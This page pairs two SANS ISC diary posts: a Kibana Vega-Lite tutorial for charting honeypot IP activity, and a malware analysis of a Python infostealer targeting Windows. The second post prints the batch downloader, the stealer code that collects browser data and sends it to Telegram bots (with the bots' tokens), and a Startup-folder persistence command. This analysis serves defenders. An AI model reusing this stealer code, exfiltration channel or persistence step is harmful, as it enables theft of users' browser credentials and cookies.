Vega-Lite with Kibana to Parse and Display IP Activity over Time

Published: 2024-08-27. Last Updated: 2024-08-28 00:34:20 UTC
by Guy Bruneau (Version: 1)
0 comment(s)

I have been curious for a while looking at Kibana's Vega log parsing options to try to come up with displays and layout that aren't standard in Kibana. A lot of the potential layouts already exists in Kibana but some of the other aren't easily created and using Vega [2] provides some of the building block to create some of the output that I am researching and testing with DShield sensor data captured by cowrie honeypot [4].

Building a Query in the Visualize Library

In my test query, I wanted to display on the left of the graph the IP List and in the bottom, the date of the activity. This way when I choose to summarize the activity by IP or any of the other fields I happen to select, it will display the activity by date of any IP that was active over time.

A text copy of the JSON code is posted at the bottom. This simple query takes the data from cowrie logs as its input to format the output:

The Data Output

Before I zoom in the time of interest to see some of the long-term activity, this is what the up to 10000 records looks like with all the IPs displayed in this picture. It is now easy to see a cluster of activity in this picture, next we need to zoom in the time of the activity to find which IP has this cluster.

After I zoom in the data, the result of a 7-day query provides the following data of a cluster of activity over time. In this picture, you can see that one IP 193.201.9.156 was active for several hours between 22 Aug 06:00 - 22 Aug 21:00.

DShield SIEM Integration

The primary goal of this test is to integrate this into the DShield SIEM [1] ELK Stack to be able to see overtime which actor are active and how long can they be seen over time in one of the dashboards. Now that we have an IP to look at, the time range can be expended as far as I want, and this picture shows activity of IP 193.201.9.156 over the past 30 days.


Sample Vega-Lite Query

This is the code used in the above example:

{
  $schema: https://vega.github.io/schema/vega-lite/v5.json
  title: Cowrie Logs - Actor Activity over Time
  data: {
    url: {
      %context%: true
      %timefield%: @timestamp
      interval: {%autointerval%: true}
      index: cowrie*
      body: {
        size: 10000
        _source: ["@timestamp","related.ip", "source.address", "user.name"]
      }
    }
    format: {property: "hits.hits"}
  }

  transform: [ 
  {calculate: "toDate(datum._source['@timestamp'])", as: "Time"},
  {"calculate": "datum._source['related.ip']", "as": "IP"},
  {"calculate": "datum._source['user.name']", "as": "Name"}
  ]
  mark: square
  encoding: {
    // https://vega.github.io/vega-lite/docs/timeunit.html#input
    // Change timeUnit to display Month Day and Hour of activity
    x: {"timeUnit": "monthdatehours",field: "Time", type: "ordinal", title: "Date/Time" }
    y: {field: "IP", type: "ordinal", title: "Actor IP Address"}
    color: {field: "IP", type: "ordinal", legend: null}
  }
 }

[1] https://www.elastic.co/guide/en/kibana/current/vega.html
[2] https://vega.github.io/vega/examples/
[3] https://github.com/bruneaug/DShield-SIEM
[4] https://github.com/DShield-ISC/dshield

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 comment(s)

Why Is Python so Popular to Infect Windows Hosts?

Published: 2024-08-27. Last Updated: 2024-08-27 10:24:42 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

It has been a while since I started to track how Python is used in the Windows eco-system[1]. Almost every day I find new pieces of malicious Python scripts. The programming language itself is not malicious. There are plenty of reasons to use Python on Windows. Think about all Didier's tools[2], Most of them are written in Python!

Why did Python become so popular for attackers? I think that the main reason is that the language is not installed by default on Windows and it can be deployed easily by unpacking some files in any directory without requiring administrator rights:

@echo off
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI hxxps://github[.]com/h4x0rpeter/CookieStealer/raw/main/python.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document;

Python can be expanded using libraries and, if added to the ZIP archive, the attacker will expand default Python capabilities.

Another fact is that Python is not integrated like other scripting languages (JS, VBS, PowerShell) into the AMSI[3] framework. You can easily debug scripts through AMSI:

PS1:\> logman start AMSITrace -p Microsoft-Antimalware- Scan-Interface Event1 -o AMSITrace.etl -ets

This command will start recording all activities generated by scripts... except for Python!

Another fact why Python is very popular: it can interact with all layers of the operating system (filesystem, registry, processes, network, ...) but can also call any API from any DLL! I mentioned this in my yesterday's diary[4].

Once Python has been deployed on the victim's computer, the malicious script must be delivered. If often the script is downloaded from an online resource, sometimes it can be extracted or ... reconstructed! Today, I found a batch file that will generate the malicious script by echoing all the lines in a file on disk:

echo import os,json,shutil,win32crypt,hmac,platform,sqlite3,base64,random,requests,subprocess>>C:\\Users\\Public\\stub.py
echo from datetime import datetime,timedelta>>C:\\Users\\Public\\stub.py
echo from Crypto.Cipher import DES3>>C:\\Users\\Public\\stub.py
echo from Crypto.Cipher import AES>>C:\\Users\\Public\\stub.py
echo from pyasn1.codec.der import decoder>>C:\\Users\\Public\\stub.py
echo from hashlib import sha1, pbkdf2_hmac>>C:\\Users\\Public\\stub.py
echo from Crypto.Util.Padding import unpad >>C:\\Users\\Public\\stub.py
echo from base64 import b64decode>>C:\\Users\\Public\\stub.py
echo idbot = "backup">>C:\\Users\\Public\\stub.py
echo apibot1='7363228617:AAHqve2-Ypl4SopNb04FOWW2Drm6zQ3v8gg'>>C:\\Users\\Public\\stub.py
echo id1='-4288554353'>>C:\\Users\\Public\\stub.py
echo apibot2='7363228617:AAHqve2-Ypl4SopNb04FOWW2Drm6zQ3v8gg'>>C:\\Users\\Public\\stub.py
echo id2='4288554353'>>C:\\Users\\Public\\stub.py
echo hostname = os.getenv("COMPUTERNAME")>>C:\\Users\\Public\\stub.py
echo usernamex = os.getlogin()>>C:\\Users\\Public\\stub.py
echo windows_version = platform.platform()>>C:\\Users\\Public\\stub.py
echo now = datetime.now()>>C:\\Users\\Public\\stub.py
echo response =requests.get("https://ipinfo.io").text>>C:\\Users\\Public\\stub.py
echo ip_country = json.loads(response)>>C:\\Users\\Public\\stub.py
echo name_country = ip_country['region']>>C:\\Users\\Public\\stub.py

The purpose of the script is simple: It's another infostealer that will exfiltrate collected information via Telegram:

def main():
    numbers=intNumbers()    
    number = "Status number send: " + str(numbers)
    u2 = 'hxxps://api[.]telegram[.]org/bot'+apibot2+'/sendDocument'
    u1 = 'hxxps://api[.]telegram[.]org/bot'+apibot1+'/sendDocument'
    browsers = {
        'chrome': os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data"),
        'Edge': os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data"),
        'Opera': os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software", "Opera Stable"),
        'Brave': os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data"),
        'firefox': os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
        'chromium': os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Chromium", "User Data")
    }
    data_path = os.path.join(os.environ["TEMP"], name_f)
    os.mkdir(data_path)
    data_path_ck = os.path.join(os.environ["TEMP"], name_f, "filecookie")
    os.mkdir(data_path_ck)
    for browser_name, browser_path in browsers.items():
        get_browser_data(data_path, browser_path, browser_name)
    zip_file_path = os.path.join(os.environ["TEMP"], name_f + '.zip')
    shutil.make_archive(zip_file_path[:-4], 'zip', data_path)
    if numbers == 1:
        with open(zip_file_path, 'rb') as f:
            requests.post(u1,data={'caption': "\n"+"Country : "+name_country + "-" + timezone + "\n"+ windows_version +"\r\nIPAdress:"+ip + "\r\n"+ number,'chat_id': id1},files={'document': f})
    else :
        with open(zip_file_path, 'rb') as f:
             requests.post(u2,data={'caption': "\n"+"Country :  "+ name_country + "-" + timezone +"\n"+ windows_version +"\r\nIPAddress:"+ip + "\r\n"+ number,'chat_id': id2},files={'document': f})
    shutil.rmtree(data_path, ignore_errors=True)
    try:
        os.remove(zip_file_path)
    except Exception as e:
        print("Error")

Funny, exfiltrated data will be sent to two different Telegram bots depending on the value of $numbers. It's a simple load-balancing solution:

def intNumbers():
    path_demso = r"C:\Users\Public\number.txt"
    if os.path.exists(path_demso):
        with open(path_demso, 'r') as file:
            number = file.read()
        number = int(number)+1
        with open(path_demso, 'w') as file:
            abc = str(number)
            file.write(abc)
    else:
        with open(path_demso, 'w') as file:
            file.write("1")
            number = ^1
    return number

Finally, persistence will be added via the Startup menu:

for /f %%i in ('echo %USERNAME%') do 
set user=%%i
echo cmd /c C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\Users\Public\Document\python.exe C:\Users\Public\stub.py;>>C:\\Users\\Public\\Windows.bat
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -command "Get-Content 'C:\\Users\\Public\\Windows.bat' | Set-Content 'C:\Users\!user!\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.bat'"

The batch file has again a low VT score (4/65)[5].

Conclusion: Keep an eye on Python processes on your Windows hosts! If you don't need Python for your daily tasks, any process should be considered suspicious!

[1] https://www.sans.org/webcasts/who-said-that-python-was-unix-best-friend-only/
[2] https://blog.didierstevens.com/my-software/
[3] https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
[4] https://isc.sans.edu/diary/From%20Highly%20Obfuscated%20Batch%20File%20to%20XWorm%20and%20Redline/31204
[5] https://www.virustotal.com/gui/file/e721ae2bfd0f3bc4da3b60090aa734cd31878134ed3fdfa49abc4b26b825da47/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)
ISC Stormcast For Tuesday, August 27th, 2024 https://isc.sans.edu/podcastdetail/9114

Comments


Diary Archives